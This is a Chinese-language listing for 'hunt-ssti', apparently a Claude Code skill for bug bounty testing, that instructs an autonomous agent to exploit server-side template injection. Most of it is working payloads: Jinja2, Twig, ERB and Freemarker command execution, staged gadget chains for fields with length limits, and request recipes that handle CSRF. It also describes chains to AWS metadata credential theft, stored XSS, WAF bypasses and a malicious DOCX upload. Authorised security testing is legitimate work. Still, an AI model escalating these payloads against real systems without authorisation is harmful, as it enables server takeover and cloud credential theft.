mcpField
H
hunt-ssti

hunt-ssti

github.com/elementalsouls安全5.3k287 次安装今天更新
代码仓库

关于 hunt-ssti

hunt-ssti 是用于发现服务器端模板注入并验证影响的安全测试技能,涵盖模板引擎探测、针对性测试路径和执行结果确认。

主要功能

  1. 01模板引擎识别
  2. 02Jinja2、Twig、ERB 和 Freemarker 探测
  3. 03表单与模板编辑器测试指引
  4. 04短长度注入技巧
  5. 05影响验证与报告分级

适用场景

  1. 01测试模板表单和个人资料字段
  2. 02检查邮件与文档渲染中的 SSTI
  3. 03评估注入是否可执行命令

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-ssti

安装后在 Claude Code 中输入/hunt-ssti确认已加载。

详细介绍

自主测试优先级

直接升级到 RCE——不要止步于算术检测。

算术探测({{7*7}}→49)可以确认注入点,但不能证明其影响。真正的目标是执行 OS 命令。如果应用回显输入(例如在 <input value="{{7*7}}"> 这样的 HTML 属性中),算术检测也可能悄无声息地失败,即使确实存在注入,也会产生假阴性。

攻击顺序:

  1. 先尝试 Jinja2 RCE(适用于 Python/Flask——这是现代 Web 应用中最常见的技术栈):
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    
  2. 如果端点是传统 Web 表单,请发送表单编码的请求体——不要使用 JSON:
    Content-Type: application/x-www-form-urlencoded
    field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    
    处理表单的端点会悄无声息地忽略 JSON 请求体(request.form['field'] 中什么也没有)。
  3. 如果 Jinja2 失败,尝试 Twig(PHP/Symfony):{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  4. 只有在 RCE 载荷失败时,才回退到算术检测,用于识别模板引擎。

**证明:**如果响应中出现命令输出(uid=N(user) gid=...),即可确认 RCE。如果输出出现在 HTML 中(位于 <div> 或 <pre> 内),也同样有效——格式无关紧要,内容才是证据。


14. SSTI — 服务端模板注入

易于检测,收益高($2K–$8K)。可直接实现 RCE。

检测载荷(全部尝试)
{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
RCE 载荷

Jinja2(Python/Flask):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig(PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ERB(Ruby):

<%= `id` %>
长度受限的注入字段(个人资料名称、显示名称、主题)

当可注入字段限制输入长度时(个人资料名称/显示名称字段通常限制在 ≤30-64 个字符),完整的 os.popen 单行命令将无法放入——但检测和类枚举仍然可行。先用短探测确认,然后分阶段枚举 gadget 索引,而不是一次性发送一个载荷:

{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}

反射型接收点通常是外发邮件(账户更新/确认邮件会渲染你的名称),而不是网页——请检查邮件正文中的求值输出。已披露:reports/125980(个人资料名称 → Jinja2 → 确认邮件,长度受限)。

测试位置
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
CMS/“文档”模板编辑器表单(需登录)

一些 SSTI 位于需要登录的模板编辑器之后(CMS“编辑模板”/产品模板/邮件模板预览)。PortSwigger 的 “使用文档进行 SSTI” 类型就是这种情况。有三点会让简单尝试失败:

  1. **执行 RCE 前先识别引擎——语法取决于引擎。**不要假设是 Jinja2。探测整个矩阵,并查看哪种语法会被求值:

    ${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
    {{7*7}} → 49                      ⇒ Jinja2 / Twig
    <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
    *{7*7}  → 49                      ⇒ Thymeleaf (Spring)
    

    如果 {{7*7}} 按原样显示,而 ${7*7}→49,那么你用的是 Freemarker——不要再发送 {{config...}}。

  2. **记录 ID 通常是查询参数,而不是请求体字段。**编辑器表单会将请求发回 POST /…/template?productId=N,ID 位于 URL 中。请求体仅包含 csrf、template 和 template-action(preview | save)。将 ID 放在请求体中会返回 400 "Missing product id"。因此,ID 应保留在查询字符串中(?productId=N),并发送 表单编码的请求体 csrf=…&template=<PAYLOAD>&template-action=preview。

  3. 每次都重新获取 CSRF,并使用 preview 进行迭代。GET 编辑器页面,读取一个新鲜的 隐藏字段 csrf;template-action=preview 会渲染载荷但不会持久保存(可快速反馈迭代结果)。 只有在载荷正确后,才切换到 template-action=save,然后触发渲染 (加载使用该模板的公开页面)以执行命令。

    Freemarker 文档 RCE(文档中所述的 Execute 工具——这就是预期的技术):

    <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
    

    Velocity 的对应写法:#set($e="e");$e.getClass().forName("java.lang.Runtime")...。


相关技能与攻击链

  • hunt-rce — 在 Python/Ruby/PHP/Java 技术栈中,SSTI 是实现 RCE 最简单的途径,因为模板语言已经暴露了运行时。攻击链原语:Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} 或 Freemarker <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} → 以渲染工作进程的身份实现未授权 RCE。始终按指纹识别 → 类遍历器 → 命令执行的顺序升级。
  • hunt-xss — 当模板引擎对运行时进行沙箱隔离(或者你只能拿到渲染后的 HTML 输出)时,同样的 {{7*7}} 反射仍常常能导致存储型 XSS。攻击链原语:沙箱隔离的 Jinja2 SSTI,且没有转义 → 向渲染后的邮件模板注入 <script> → 每位查看该邮件的收件人都会遭遇存储型 XSS。
  • hunt-ssrf — 模板引擎往往会先暴露 URL 获取器/过滤器,再暴露运行时,因此你可以在实现 RCE 之前先实现 SSRF。攻击链原语:Twig {{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }} 或搭配 url_for/自定义过滤器的 Jinja2 → 窃取 AWS 元数据 → 获取云凭证。
  • hunt-file-upload — 用户上传的 Office 文档、SVG 和邮件模板都是常见的 SSTI 攻击面(服务器会重新渲染它们)。攻击链原语:上传一个 DOCX,其 word/document.xml 包含 ${T(java.lang.Runtime).getRuntime().exec("id")},并将其交给由 Velocity/Freemarker 驱动的邮件合并功能 → RCE。
  • security-arsenal — 使用针对具体引擎的转义载荷树:Jinja2 类遍历器变体(通过 __subclasses__()[N] 搜索索引)、Twig _self.env registerUndefinedFilterCallback、Freemarker ?new() Execute、ERB 反引号、Velocity $class.inspect、Smarty {php}...{/php},以及 WAF 绕过变体({{request|attr('application')|...}}、Unicode 转义、{%print(...)%})。
  • triage-validation — 在声称存在 Critical 级别的 RCE 前,先执行 Pre-Severity Gate。在沙箱隔离的引擎中(例如 Twig 沙箱模式、没有转义能力的 Jinja2 SandboxedEnvironment),{{7*7}} → 49 反射属于 Medium 级 SSTI,而不是 Critical 级 RCE。提交报告前,使用唯一标记证明 id 命令执行或 OOB DNS 回调。

评论

支持 Markdown